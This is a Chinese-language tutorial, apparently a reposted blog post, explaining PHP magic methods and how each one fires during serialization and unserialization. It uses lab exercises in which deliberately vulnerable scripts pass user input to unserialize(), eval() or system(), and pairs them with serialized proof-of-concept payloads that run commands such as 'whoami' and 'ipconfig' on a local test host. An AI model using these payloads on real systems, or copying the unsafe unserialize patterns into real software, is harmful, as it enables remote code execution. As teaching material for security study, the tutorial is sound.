PHP讲以双下划线__保留为魔术方法,所有的魔术方法 必须 声明为 public。
__construct(),类的构造函数
__destruct(),类的析构函数
__call(),在对象中调用一个不可访问方法时调用
__callStatic(),用静态方式中调用一个不可访问方法时调用
__get(),获得一个类的成员变量时调用
__set(),设置一个类的成员变量时调用
__isset(),当对不可访问属性调用isset()或empty()时调用
__unset(),当对不可访问属性调用unset()时被调用
__sleep(),执行serialize()时,先会调用这个函数
__wakeup(),执行unserialize()时,先会调用这个函数
__toString(),类被当成字符串时的回应方法
__invoke(),调用函数的方式调用一个对象时的回应方法
__set_state(),调用var_export()导出类时,此静态方法会被调用。
__clone(),当对象复制完成时调用
__autoload(),尝试加载未定义的类
__debugInfo(),打印所需调试信息
__construct
__construct()被称为构造方法,也就是在创造一个对象时候,首先会去执行的一个方法。但是在序列化和反序列化过程是不会触发的。
<?php
class User{
public $username;
public function __construct($username)
{
$this->username = $username;
echo "__construct test";
}
}
$test = new User("a");
//$ser = serialize($test);
//unserialize($ser);
?>
允许结果:
__construct test
__destruct
在到某个对象的所有引用都被删除或者当对象被显式销毁时执行的魔术方法。
new 和 unserialize 触发
<?php
class User{
public function __destruct()
{
echo "__destruct test</br>";
}
}
$test = new User();
$ser = serialize($test);
unserialize($ser);
?>
结果:
__destruct test
__destruct test
__call
在对象中调用一个不可访问方法时,__call() 会被调用。也就是说你调用了一个对象中不存在的方法,就会触发。
调用一个错误的方法的时候(或者说是没有这个方法,不可访问的方法),触发。
<?php
class User{
public function __call($arg1,$arg2) 当调用不存在的方法时(callxxx),$arg1会自动赋值为callxxx
{
echo "$arg1,$arg2[0]";当调用不存在的方法时(callxxx),$arg1会自动赋值为callxxx,$arg2赋值为a
}
}
$test = new User();
$test->callxxx('a'); //callxxx 不存在
?>
结果:($arg1 是错误的成员方法,$arg2是错误方法中的变量a)
callxxx,a
__get
调用一个不存在的变量(包括变量名写错了,不存在)触发
题目:
?phperror_reporting(0);
highlight_file(__FILE__);
class User{
public $benben;
public function __get($arg1)
{
eval($this->benben);
}
}
$a = $_GET['benben'];
$test = unserialize($a);
$test->var2;
?>
构造poc:
如果构造poc时用phpstorm,赋值poc的时候,可能会有编码问题,导致poc执行不成功(删掉方框里面即可)
poc代码
<?php
error_reporting(0);
highlight_file(__FILE__);
class User
{
public $benben = "system('dir');";
}
$a = new User();
echo print_r(serialize($a));
?>
//输出:O:4:"User":1:{s:6:"benben";s:14:"system('dir');";}
__set
调用一个不存在的成员变量的同时给这个不存在的成员变量赋值
题目:
<?phperror_reporting(0);
highlight_file(__FILE__);
class User{
public $benben;
public function __set($arg1,$arg2)
{
echo $arg1.','.$arg2;
eval($this->benben);
}
}
$a = $_GET['benben'];
$test=unserialize($a);
$test->benben2=1;
?>
构造poc:
<?php
error_reporting(0);
highlight_file(__FILE__);
class User{
public $benben="system(whoami);";
public function __set($arg1,$arg2)
{
echo $arg1.','.$arg2;
eval($this->benben);
}
}
$a = new User();
echo serialize($a);
?>
//输出结果:O:4:"User":1:{s:6:"benben";s:15:"system(whoami);";}
__isset
作用:判断是否传递了参数
触发:当对不可访问属性调用isset()或empty()调用
(类外调用私有属性)不可访问
题目:
<?php
error_reporting(0);
highlight_file(__FILE__);
class User{
private $benben;
public function __isset($arg1)
{
echo $arg1;
eval($this->benben);
}
}
$a = $_GET['benben'];
$test=unserialize($a);
isset($test->benben); 类外调用了私有属性的成员变量benben,不可访问,触发了__isset
?>
构造poc:(私有属性,需要url编码)
<?php
error_reporting(0);
highlight_file(__FILE__);
class User
{
private $benben = "system('dir');";
}
$a = new User();
echo urlencode(serialize($a)); //benben 成员属性为私有,所以需要urlencode
?>
//结果:O%3A4%3A%22User%22%3A1%3A%7Bs%3A12%3A%22%00User%00benben%22%3Bs%3A14%3A%22system%28%27dir%27%29%3B%22%3B%7D
提交的url:
结果:
__unset
对不可访问属性调用 unset() 时,__unset() 会被调用。
<?php
class User{
public function __unset($arg1)
{
echo $arg1;
}
}
$test = new User();
unset($test->var1);
?>
结果:
var1
如果一个类定义了魔术方法 __unset() ,那么我们就可以使用 unset() 函数来销毁类的私有的属性,或在销毁一个不存在的属性时得到通知。
__sleep
执行serialize()时,先会调用这个函数
<?php
error_reporting(0);
highlight_file(__FILE__);
class User{
public $cmd;
public function __construct($cmd)
{
$this->cmd = $cmd;
}
public function __sleep()
{
system($this->cmd);
}
}
$a = $_GET['benben'];
$user = new User($a);
echo serialize($user);
poc:
?benben=ipconfig
http://192.168.1.6/xuliehua/mofa/sleep.php?benben=ipconfig
结果:
__wakeup
执行unserialize()时,__destruct __wakeup都有时,先触发__wakeup函数
<?php
error_reporting(0);
highlight_file(__FILE__);
class User{
public $cmd;
public function __construct($cmd)
{
$this->cmd = $cmd;
}
public function __wakeup()
{
system($this->cmd);
}
}
$a = $_GET['benben'];
unserialize($a);
构造poc:
<?php
class User{
public $cmd='dir';
public function __construct($cmd)
{
$this->cmd = $cmd;
}
public function __wakeup()
{
system($this->cmd);
}
}
$a = new User('ipconfig');
echo serialize($a);
//输出:O:4:"User":1:{s:3:"cmd";s:8:"ipconfig";}
提交:
http://192.168.1.6/xuliehua/mofa/wakeup1.php?benben=O:4:"User":1:{s:3:"cmd";s:8:"ipconfig";}
结果:
__toString
__toString() 方法用于一个类被当成字符串 输出。 echo 、var_dump
题目:
<?php
error_reporting(0);
highlight_file(__FILE__);
class User{
public $benben;
public function __toString()
{
system($this->benben);
}
}
$a = $_GET['benben'];
$test=unserialize($a);
echo $test;
"""
//$test 是一个对象,而echo是输出字符串,就会报错
(但是User类中,有__toString方法,所以(var_dump)echo不会报错,而是去调用__toString)
echo $test;
//把对象当作字符串,把字符串当作对象 ,都会触发
"""
构造poc:
<?php
class User{
public $benben='ipconfig';
public function __toString()
{
system($this->benben);
}
}
echo serialize(new User());
//输出:O:4:"User":1:{s:6:"benben";s:8:"ipconfig";}
提交时要地址栏提交,不要用hackbar提交,可能会出现编码问题。
__invoke
调用函数的方式调用一个对象时的回应方法
题目:
<?php
error_reporting(0);
highlight_file(__FILE__);
class User{
public $benben;
public function __invoke()
{
eval($this->benben);
}
}
$a = $_GET['benben'];
$test=unserialize($a);
$test();
构造poc:
<?php
class User{
public $benben='system("dir");';
public function __invoke()
{
eval($this->benben);
}
}
echo serialize(new User());
//O:4:"User":1:{s:6:"benben";s:14:"system("dir");";}
结果:
还有四种魔术方法,大致和前面的一样,就不在演示了。
总结
php反序列化,需要一定的php代码理解。
版权归原作者 凌晨两点半992 所有, 如有侵权,请联系我们删除。